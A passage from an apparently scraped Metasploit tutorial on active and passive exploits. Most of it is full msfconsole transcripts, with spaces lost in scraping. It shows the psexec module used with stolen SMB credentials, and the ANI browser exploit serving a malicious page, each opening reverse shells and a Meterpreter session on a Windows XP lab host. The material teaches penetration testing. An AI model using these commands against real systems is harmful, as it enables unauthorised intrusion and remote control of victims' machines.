Active exploits will exploit a specific host, run until completion, and then exit.
You can force an active module to the background by passing ‘-j’ to the 'exploit' command.
msfexploit(ms08_067_netapi) >exploit-j[*] Exploit running as background job.msfexploit(ms08_067_netapi) >
msf>useexploit/windows/smb/psexecmsfexploit(psexec) >setRHOST192.168.1.100RHOST =>192.168.1.100msfexploit(psexec) >setPAYLOADwindows/shell/reverse_tcpPAYLOAD =>windows/shell/reverse_tcpmsfexploit(psexec) >setLHOST192.168.1.5LHOST =>192.168.1.5msfexploit(psexec) >setLPORT4444LPORT =>4444msfexploit(psexec) >setSMBUSERvictimSMBUSER =>victimmsfexploit(psexec) >setSMBPASSs3cr3tSMBPASS =>s3cr3tmsfexploit(psexec) >exploit[*] Connecting to the server...[*] Started reverse handler[*] Authenticating as user 'victim'...[*] Uploading payload...[*] Created \hikmEeEM.exe...[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...[*] Obtaining a service manager handle...[*] Creating a new service (ciWyCVEp-"MXAVZsCqfRtZwScLdexnD")...[*] Closing service handle...[*] Opening service...[*] Starting the service...[*] Removing the service...[*] Closing service handle...[*] Deleting \hikmEeEM.exe...[*] Sending stage (240bytes)[*] Command shell session 1 opened (192.168.1.5:4444 ->192.168.1.100:1073)MicrosoftWindowsXP [Version 5.1.2600](C) Copyright1985-2001MicrosoftCorp.C:\WINDOWS\system32>
Passive Exploits
Passive exploits wait for incoming hosts and exploit them as they connect.
Passive exploits almost always focus on clients such as web browsers, FTP clients, etc.
Passive exploits report shells as they happen can be enumerated by passing ‘-l’ to the 'sessions' command. Passing ‘-i’ will interact with a shell.
msfexploit(ani_loadimage_chunksize) >sessions-lActivesessions===============IdDescriptionTunnel-------------------1Meterpreter192.168.1.5:52647 ->192.168.1.100:4444msfexploit(ani_loadimage_chunksize) >sessions-i1[*] Starting interaction with 1...meterpreter>
msf>useexploit/windows/browser/ani_loadimage_chunksizemsfexploit(ani_loadimage_chunksize) >setURIPATH/URIPATH =>/msfexploit(ani_loadimage_chunksize) >setPAYLOADwindows/shell/reverse_tcpPAYLOAD =>windows/shell/reverse_tcpmsfexploit(ani_loadimage_chunksize) >setLHOST192.168.1.5LHOST =>192.168.1.5msfexploit(ani_loadimage_chunksize) >setLPORT4444LPORT =>4444msfexploit(ani_loadimage_chunksize) >exploit[*] Exploit running as background job.[*] Started reverse handler[*] Using URL: http://0.0.0.0:8080/[*] Local IP: http://192.168.1.5:8080/[*] Server started.msfexploit(ani_loadimage_chunksize) >[*] Attempting to exploit ani_loadimage_chunksize[*] Sending HTML page to 192.168.1.100:1077...[*] Attempting to exploit ani_loadimage_chunksize[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to 192.168.1.100:1077...[*] Sending stage (240bytes)[*] Command shell session 2 opened (192.168.1.5:4444 ->192.168.1.100:1078)msfexploit(ani_loadimage_chunksize) >sessions-i2[*] Starting interaction with 2...MicrosoftWindowsXP [Version 5.1.2600](C) Copyright1985-2001MicrosoftCorp.C:\DocumentsandSettings\victim\Desktop>
Using Exploits In Metasploit
Selecting an exploit in Metasploit adds the exploit and check commands to msfconsole.
Using an exploit also adds more options to the show command.